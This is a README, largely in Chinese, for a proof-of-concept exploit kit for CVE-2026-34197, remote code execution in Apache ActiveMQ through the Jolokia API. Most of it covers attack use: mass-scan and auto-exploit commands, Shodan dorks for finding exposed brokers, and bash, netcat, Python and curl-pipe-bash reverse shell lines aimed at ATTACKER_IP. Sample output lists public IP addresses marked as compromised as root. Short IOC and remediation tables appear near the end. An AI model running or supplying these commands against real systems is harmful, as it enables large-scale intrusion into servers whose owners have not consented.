CVE-2026-34197 — Exploitation Chain

### 分步解析

| 步骤 | 操作 | 组件 |
|:----:|--------|-----------|
| **1** | 攻击者向 `/api/jolokia/` 发送 POST 请求，在 Broker MBean 上调用 `addNetworkConnector` | Jolokia API |
| **2** | ActiveMQ 处理 `vm://` 传输 URI，并创建一个临时 broker，其 `brokerConfig` 指向远程 URL | VM 传输 |
| **3** | `xbean:` 方案触发从攻击者服务器下载 Spring XML 配置文件 | Spring / XBean |
| **4** | Spring 实例化 XML 中的所有 bean，包括一个调用 `Runtime.getRuntime().exec()` 的 bean | Spring 上下文 |
| **5** | 对于简单命令，输出会被捕获并通过 HTTP POST 发送回攻击者的监听器（自动） | 输出捕获 |

---

## 项目结构```
CVE-2026-34197/
├── exploit.py             # PoC exploit (single target + mass scan)
├── version_check.py       # Scanner + Auto-Exploit (2-phase pipeline)
├── payloads/
│   └── template.xml       # Spring XML payload template
├── targets.txt            # Target URLs (one per line)
├── docker/
│   └── docker-compose.yml # Vulnerable lab environment
├── docs/
│   ├── HUNTING_GUIDE_EN.md  # Target hunting guide (English)
│   └── HUNTING_GUIDE_ES.md  # Guía de búsqueda (Español)
├── LICENSE
└── README.md

### 实验室环境（Docker）```bash
cd docker
docker-compose up -d
# ActiveMQ Classic 5.18.6 (vulnerable) → localhost:8161

### 扫描器 + 自动利用（推荐用于批量目标）```bash
# Scan only — detect versions, no exploitation
python version_check.py -T targets.txt

# Scan + auto-exploit vulnerable targets
python version_check.py -T targets.txt -l YOUR_IP -c "id"

### 如何确定你的 `ATTACKER_IP`

| 场景 | 查找方法 | 示例 |
|----------|---------------|---------|
| **同一局域网**（实验室、内网渗透测试） | 你的本地/私有 IP | `ip a` → `192.168.1.50` |
| **VPN**（HTB、THM、内网） | 你的 VPN 隧道 IP | `ip a show tun0` → `10.10.14.23` |
| **通过互联网攻击远程目标** | 你的公网 IP | `curl ifconfig.me` → `203.0.113.42` |
| **云 VPS**（从服务器发起攻击） | VPS 的公网 IP | 查看你的云服务商控制台 |```bash
# Linux — find your IPs
ip -4 addr show              # All interfaces
ip addr show tun0            # VPN interface (HTB/THM)
ip addr show eth0            # Ethernet / cloud
curl -s ifconfig.me          # Public IP

# Windows
ipconfig                     # All interfaces
(Invoke-WebRequest ifconfig.me).Content   # Public IP (PowerShell)

# macOS
ifconfig en0                 # Wi-Fi
ifconfig utun0               # VPN
curl -s ifconfig.me          # Public IP

### 端口转发（NAT 场景）

如果你位于路由器/NAT 之后，并攻击一个面向互联网的目标：```bash
# Option A: Use a cloud VPS (recommended)
# Run the exploit from a VPS with a public IP — no NAT issues

# Option B: Port forward on your router
# Forward external port 8888 → your_local_ip:8888 (TCP)
# Then use your PUBLIC IP as ATTACKER_IP

# Option C: Use ngrok (quick & dirty)
ngrok http 8888
# Use the ngrok URL — but note: the exploit uses raw HTTP, not ngrok's URL format
# This option is NOT recommended for this exploit

### 完整工作流示例```bash
# Step 1: Identify your IP
$ ip addr show tun0
    inet 10.10.14.23/23 ...

# Step 2: Verify the target is vulnerable
$ python version_check.py -T targets.txt
  [+] http://10.129.45.67:8161 → 5.15.9 (admin) [VULNERABLE]

# Step 3: Run the exploit with YOUR correct IP
$ python exploit.py -t http://10.129.45.67:8161 -l 10.10.14.23 -c "id"

# Step 4: For a reverse shell — start listener FIRST
$ nc -lvnp 4444                    # Terminal 1
$ python exploit.py -t http://10.129.45.67:8161 -l 10.10.14.23 \
    -c "bash -i >& /dev/tcp/10.10.14.23/4444 0>&1"   # Terminal 2

### 批量扫描（多个目标）```bash
# Scan targets from file, save vulnerable ones
python exploit.py -T targets.txt -l ATTACKER_IP -c "id"

# Custom output file
python exploit.py -T targets.txt -l ATTACKER_IP -c "id" -o vulnerable_hosts.txt

# Mass scan with custom credentials and port
python exploit.py -T targets.txt -l ATTACKER_IP -lp 9999 -c "id" -u myuser -p mypass

批量扫描功能：
- **自动去重** — 重复的 URL 会被自动移除
- **单一 HTTP 服务器** — payload 服务器只启动一次，并为所有目标复用
- **认证回退** — 如果凭据验证失败（401），会自动在无认证的情况下重试（CVE-2024-32114）
- **随机化连接器名称** — 避免目标之间的 JMX 注册冲突
- **增量保存** — 存在漏洞的目标会立即保存（可安全使用 Ctrl+C）
- **HTTPS 支持** — 同时支持 HTTP 和 HTTPS 目标

### 反向 Shell

包含特殊字符（`>`、`&`、`|`、`;`、`$` 等）的反向 Shell 和命令会**自动进行 base64 编码**，以避免 XML/Shell 转义问题。```bash
# Bash reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

# Netcat reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
  -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f"

# Python reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
  -c "python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"ATTACKER_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"

# Curl + bash (download & execute)
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
  -c "curl http://ATTACKER_IP/shell.sh | bash"

# Mass reverse shell scan
python exploit.py -T targets.txt -l ATTACKER_IP \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

#### 带输出的示例```bash
$ python exploit.py -t http://10.129.45.67:8161 -l 10.10.14.23 -c "id"

  [*] Target:    http://10.129.45.67:8161
  [*] Command:   id
  [*] Output:    capture enabled (will POST back to listener)
  [*] Broker:    localhost
  [*] Auth:      admin

  [*] Sending request to Jolokia...
  [+] Jolokia accepted the operation (status=200)
  [*] Waiting for the target to download the payload...
  [+] Payload served to 10.129.45.67
  [+] Target downloaded the payload. Command executed.
  [*] Waiting for command output...
  [+] Command output received:
  ──────────────────────────────────────────────────
  uid=0(root) gid=0(root) groups=0(root)
  ──────────────────────────────────────────────────

### 版本分类逻辑

扫描器会根据受影响范围自动对版本进行分类：

| 版本 | 分类 |
|---------|---------------|
| `< 5.19.4`（例如 5.15.9、5.18.6） | `[VULNERABLE]` |
| `>= 5.19.4`（例如 5.19.4、5.20.0） | `[PATCHED]` |
| `6.0.0` 至 `6.2.2` | `[VULNERABLE]` |
| `>= 6.2.3` | `[PATCHED]` |

### 分步使用指南

#### 第 1 步 — 准备目标文件

创建一个 `targets.txt` 文件，每行一个 URL。重复项会自动移除。```
http://10.0.0.1:8161
http://10.0.0.2:8161
https://10.0.0.3:8161
http://192.168.1.100:8161

此操作**仅运行阶段 1**。不会启动 HTTP 服务器，不会发送载荷，也不会执行命令。输出文件将包含每个易受攻击目标的版本信息：```
http://52.234.160.12:8161 | 5.15.9 | admin | broker=localhost
http://62.151.178.135:8161 | 5.15.2 | admin | broker=mybroker

#### 步骤 3 — 扫描 + 自动利用（完整流程）

要在一次运行中完成扫描**并**利用，请添加 `-l`（你的 ATTACKER_IP）和 `-c`（命令）：```bash
python version_check.py -T targets.txt -l ATTACKER_IP -c "id"

`URL | 版本 | 认证方式`。然后你可以将这些单独与 `exploit.py` 结合使用，进行进一步的后渗透利用。

### 使用示例```bash
# Scan only — detect versions (no exploitation)
python version_check.py -T targets.txt

# Scan + auto-exploit — full pipeline
python version_check.py -T targets.txt -l ATTACKER_IP -c "id"

# Faster scan with 20 threads
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" --threads 20

# Custom output, credentials, and port
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" -o pwned.txt -u admin -p secret -lp 9999

# Reverse shell (auto base64-wrapped)
# IMPORTANT: start your netcat listener FIRST on port 4444 (in a separate terminal):
#   nc -lvnp 4444
# The port in nc must match the port in /dev/tcp/.../4444
python version_check.py -T targets.txt -l ATTACKER_IP \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

# No-auth mode (for ActiveMQ 6.0.0 — 6.1.1)
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" --no-auth

# Longer callback wait (slow networks)
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" --wait 30

# Combine: fast threads + long wait + custom creds
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" \
  --threads 30 --wait 20 -u operator -p s3cret -lp 9999 -o results.txt

**阶段 1 不需要 `ATTACKER_IP`** —— 它仅查询 Jolokia 获取版本信息。你可以单独运行阶段 1 进行侦察，而不会暴露你的 IP。

**阶段 2 需要 `ATTACKER_IP`** —— 目标必须能够访问你的 HTTP 服务器以下载载荷。如果目标无法访问你，它将超时（默认：15 秒）并被标记为“未收到回调”——但这并不一定意味着它不存在漏洞（防火墙可能阻止出站流量）。

### 参数

| 标志 | 描述 | 默认值 |
|------|-------------|---------|
| `-T, --targets-file` | 包含目标 URL 的文件（每行一个） | *必填* |
| `-l, --lhost` | 用于回调的攻击者 IP（启用阶段 2） | — |
| `-c, --command` | 要执行的命令（启用阶段 2） | — |
| `-lp, --lport` | 本地 HTTP 服务器端口 | `8888` |
| `-o, --output` | 已确认目标的输出文件 | `confirmados.txt` |
| `-u, --user` | Jolokia 用户名 | `admin` |
| `-p, --password` | Jolokia 密码 | `admin` |
| `--no-auth` | 跳过身份验证 | `false` |
| `--threads` | 阶段 1 的并发线程数 | `10` |
| `--timeout` | 阶段 1 中每个请求的超时时间 | `10s` |
| `--wait` | 阶段 2 中等待回调的秒数 | `15s` |

> **注意：** 必须同时提供 `-l` 和 `-c` 才能启用阶段 2。如果缺少任一参数，则仅运行阶段 1（扫描）。

### 功能特性

- **两阶段流水线** —— 先快速扫描版本，再进行针对性利用
- **多线程阶段 1** —— 数秒内扫描数百个目标
- **智能代理检测** —— 处理 `brokerName=*` 通配符响应，从 MBean 键中提取真实代理名称
- **身份验证回退** —— 如果 `admin:admin` 失败（401），则无身份验证重试（CVE-2024-32114）
- **随机化连接器名称** —— 避免 JMX 冲突（每个目标唯一的 `rce{random8}`）
- **自动 base64 包装** —— 反向 shell 和特殊字符开箱即用
- **增量保存** —— 已确认目标立即保存（扫描中途可安全按 Ctrl+C）
- **仅扫描模式** —— 省略 `-l`/`-c` 仅检测版本而不进行利用
- **版本分类** —— 根据受影响范围标记 `[VULNERABLE]` / `[PATCHED]`
- **单一 HTTP 服务器** —— 在阶段 2 中启动一次，供所有目标复用（无端口冲突）

### 使用 `version_check.py` 发送反向 shell

使用 `version_check.py` 发送反向 shell 时，你需要**同时运行两件事**：

1. 你机器上的一个 **netcat 监听器**，等待传入的 shell 连接
2. 用于扫描和利用目标的 **version_check.py** 命令

监听器端口（`nc -lvnp PORT`）**必须与**反向 shell 命令中的端口（`/dev/tcp/ATTACKER_IP/PORT`）**匹配**。```
  YOUR MACHINE (ATTACKER_IP)
  ──────────────────────────
  Terminal 1:  nc -lvnp 4444          ◄── Listening for reverse shell on port 4444
  Terminal 2:  version_check.py ...   ──► Scans targets, exploits vulnerable ones
                                          └─ sends: bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
                                                                                  ▲
  TARGET (ActiveMQ)                                                               │
  ─────────────────                                                               │
  Executes the command ──► bash connects back to ATTACKER_IP:4444 ────────────────┘

#### 使用不同的端口

只要双方端口一致，你可以使用任何你想要的端口：```bash
# Terminal 1: listener on port 9001
nc -lvnp 9001

# Terminal 2: reverse shell pointing to port 9001
python version_check.py -T targets.txt -l ATTACKER_IP \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1"

> [!WARNING]
> **避免端口混淆：** 该漏洞利用使用**两个不同的端口**，分别用于两种不同用途：
> - `-lp`（默认 `8888`）— HTTP 服务器端口，ActiveMQ 在此下载 XML 载荷。此端口由脚本自动处理。
> - `/dev/tcp/.../4444` 中的端口 — 反向 Shell 回调端口，由你使用 `nc` 监听。这是你需要自行开放的端口。
>
> 这两个端口是**相互独立**的。不要混淆它们。你需要运行 `nc -lvnp 4444` 来接收 Shell，而脚本会在内部处理 `:8888`。

### 示例输出```
  ╔═══════════════════════════════════════════════════════════╗
  ║  CVE-2026-34197 — ActiveMQ Scanner + Auto-Exploit        ║
  ║  Phase 1: Version Detection (fast, multithreaded)        ║
  ║  Phase 2: RCE Verification (exploit + callback)          ║
  ║  By: KONDOR DEV SECURITY — t.me/KONDORDEVSECURITY        ║
  ╚═══════════════════════════════════════════════════════════╝

[*] 124 unique targets loaded
[*] Threads: 10 | Timeout: 10s
[*] Mode: SCAN + EXPLOIT (wait: 15s)
[*] Command: id

════════════════════════════════════════════════════════════
  PHASE 1 — Version detection (multithreaded)
════════════════════════════════════════════════════════════

  [+] [1/124] http://52.234.160.12:8161 → 5.15.9 (admin) [VULNERABLE]
  [+] [2/124] http://62.151.178.135:8161 → 5.15.2 (admin) [VULNERABLE]
  [+] [3/124] http://146.190.139.20:8161 → 5.15.6 (admin) [VULNERABLE]
  [-] [4/124] http://167.172.150.143:8161 → 401
  [-] [5/124] http://198.44.176.205:8161 → Connection refused

[*] Phase 1 complete: 3 with version, 3 vulnerable by version

════════════════════════════════════════════════════════════
  PHASE 2 — Real exploit (3 candidates)
════════════════════════════════════════════════════════════

[+] HTTP server on 0.0.0.0:8888

  [1/3] http://52.234.160.12:8161 (v5.15.9, broker=localhost)
    [*] Sending exploit...
    [+] Jolokia accepted (status=200)
    [+] Payload downloaded by 52.234.160.12
    [+] Command output:
    ──────────────────────────────────────────────
    uid=0(root) gid=0(root) groups=0(root)
    ──────────────────────────────────────────────
    [+] ✓ RCE CONFIRMED — http://52.234.160.12:8161 (v5.15.9)

  [2/3] http://62.151.178.135:8161 (v5.15.2, broker=mybroker)
    [*] Sending exploit...
    [+] Jolokia accepted (status=200)
    [*] No callback received within 15s

  [3/3] http://146.190.139.20:8161 (v5.15.6, broker=localhost)
    [*] Sending exploit...
    [+] Jolokia accepted (status=200)
    [+] Payload downloaded by 146.190.139.20
    [+] Command output:
    ──────────────────────────────────────────────
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    ──────────────────────────────────────────────
    [+] ✓ RCE CONFIRMED — http://146.190.139.20:8161 (v5.15.6)

════════════════════════════════════════════════════════════
  FINAL SUMMARY
════════════════════════════════════════════════════════════
[*] Total scanned:           124
[*] Version detected:        3
[*] Vulnerable by version:   3
[+] RCE CONFIRMED:           2

[+] Saved to: confirmed.txt

    ✓ http://52.234.160.12:8161 | v5.15.9 | admin
    ✓ http://146.190.139.20:8161 | v5.15.6 | admin

## 狩猎与侦察

查找暴露的 Apache ActiveMQ 实例的详细指南，使用 **Shodan**、**LeakIX**、**FOFA**、**Censys**、**ZoomEye** 和 **Google Dorks** —— 包括特定版本的 dorks、Jolokia 检测、CLI/API 用法、目标验证步骤、SIEM/IDS 规则以及修复优先级。

<table>
<tr>
<td align="center">
<a href="docs/HUNTING_GUIDE_EN.md"><img src="https://img.shields.io/badge/Hunting%20Guide-English%20%F0%9F%87%AC%F0%9F%87%A7-2196F3?style=for-the-badge" alt="English"/></a>
</td>
<td align="center">
<a href="docs/HUNTING_GUIDE_ES.md"><img src="https://img.shields.io/badge/Gu%C3%ADa%20de%20B%C3%BAsqueda-Espa%C3%B1ol%20%F0%9F%87%AA%F0%9F%87%B8-FF9800?style=for-the-badge" alt="Español"/></a>
</td>
</tr>
</table>

### 快速 Shodan Dorks```
"ActiveMQ" port:8161                                          # All exposed consoles
http.title:"Apache ActiveMQ"                                  # By page title
"ActiveMQ" http.html:"jolokia" port:8161                      # Jolokia exposed (attack vector)
http.title:"Apache ActiveMQ" -http.html:"5.19.4" -http.html:"6.2.3" port:8161  # Exclude patched

### 目标验证```bash
# Check version via Jolokia (single target)
curl -s -u admin:admin "http://TARGET:8161/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=localhost/BrokerVersion"

# Mass version scan (recommended)
python version_check.py -T targets.txt

> **注意：** `rce*` 部分将包含随机字符（例如 `rcek4m2x9ab`），因为该漏洞利用程序会随机化连接器名称。

### IOCs（入侵指标）

| 指标 | 描述 |
|-----------|-------------|
| 向 `/api/jolokia/` 发送带有 `addNetworkConnector` 的 POST 请求 | 漏洞利用尝试 |
| ActiveMQ 进程发起出站 HTTP GET 请求 | 下载 Payload XML |
| ActiveMQ 进程发起出站 HTTP POST 请求（命令输出外传） | 输出捕获回调 |
| 带有 `brokerConfig=xbean:http` 的 `vm://` URI | 恶意连接器 |
| Java/ActiveMQ 产生意外子进程（`curl`、`wget`、`bash`） | 命令执行 / 输出外传 |

---

## 修复措施

| 优先级 | 操作 |
|----------|--------|
| **P0** | 升级至 ActiveMQ Classic **5.19.4** 或 **6.2.3** |
| **P1** | 更改 Web 控制台的默认凭据 |
| **P2** | 限制对端口 **8161** 的网络访问 |
| **P3** | 监控代理日志中带有 `xbean:http` 模式的 `vm://` URI |

---

## 故障排查

| 问题 | 可能原因 | 解决方案 |
|---------|-------------|----------|
| `15 秒内未收到 Payload 请求` | 目标无法访问你的 ATTACKER_IP | 验证连通性（参见 [ATTACKER_IP 指南](#understanding-attacker_ip---lhost)） |
| `身份验证失败（401）` | 凭据错误 | 尝试 `--no-auth`（ActiveMQ 6.0.0-6.1.1）或查找正确的凭据 |
| `访问被禁止（403）` | Jolokia API 受限 | 目标可能对 `/api/jolokia/` 设置了 ACL——无法远程利用 |
| `连接错误` / `无法连接` | 目标已关闭或端口错误 | 验证 `http://TARGET:8161/` 是否可访问 |
| `Jolokia 状态=500：无法在 JMX 中注册` | 之前的漏洞利用连接器仍处于注册状态 | 该漏洞利用程序会自动使用新的随机名称重试；请再次尝试 |
| 反弹 Shell 无法回连 | `-l` 中的 IP 与 Shell 命令中的 IP 不同，或端口未监听 | 确保所有位置使用相同 IP；在利用前先启动 `nc -lvnp PORT` |
| `10 秒内未收到输出` | 目标缺少 `curl` 和 `wget`，或命令无标准输出 | RCE 仍然生效——使用反弹 Shell 进行完整交互 |
| 输出捕获显示空结果 | 命令未产生输出（例如 `touch /tmp/test`） | 对于无标准输出的命令属正常现象；使用 `ls /tmp/test` 进行验证 |
| 端口 8888 上出现 `OSError: Address already in use` | 其他进程或之前的运行占用了该端口 | 使用 `-lp 9999`（或任意空闲端口），或终止占用进程 |
| `version_check.py` 第 1 阶段运行缓慢 | 线程数过少或网络延迟较高 | 增加 `--threads 20` 或 `--threads 30` |
| `version_check.py` 显示 `[VULNERABLE]` 但第 2 阶段失败 | 目标无法访问你的 IP，或防火墙阻止出站 HTTP | 验证 ATTACKER_IP；对于慢速网络可尝试 `--wait 30` |
| `version_check.py` 对所有目标均显示 `No Jolokia` | Jolokia API 已禁用或位于非标准路径 | 使用 `curl -u admin:admin http://TARGET:8161/api/jolokia/` 手动验证 |

---

## 参考资料

| 资源 | 链接 |
|----------|------|
| NVD | [CVE-2026-34197](https://nvd.nist.gov/vuln/detail/CVE-2026-34197) |
| Horizon3 Research | [技术分析](https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/) |
| Apache 公告 | [安全公告](https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt) |
| 相关 CVE | [CVE-2024-32114 — Jolokia 无认证](https://nvd.nist.gov/vuln/detail/CVE-2024-32114) |
| 相关 CVE | [CVE-2023-46604 — OpenWire RCE](https://nvd.nist.gov/vuln/detail/CVE-2023-46604) |

---

## 免责声明

> [!WARNING]
> 此概念验证**严格用于教育和经授权的安全研究目的**。未经授权对你不拥有或未获得明确测试许可的系统使用此工具是**非法的**。作者对滥用行为不承担任何责任。

---

<p align="center">
  <a href="https://github.com/KONDORDEVSECURITYCORP">
    <img src="https://img.shields.io/badge/GitHub-KONDORDEVSECURITYCORP-181717?style=for-the-badge&amp;logo=github" alt="GitHub"/>
  </a>
  <a href="https://t.me/KONDORDEVSECURITY">
    <img src="https://img.shields.io/badge/Telegram-KONDORDEVSECURITY-26A5E4?style=for-the-badge&amp;logo=telegram&amp;logoColor=white" alt="Telegram"/>
  </a>
</p>

<p align="center">
  <sub>由 <b>KONDOR DEV SECURITY CORP</b> 专业开发</sub><br>
  <sub>MIT 许可证 &copy; 2026</sub>
</p>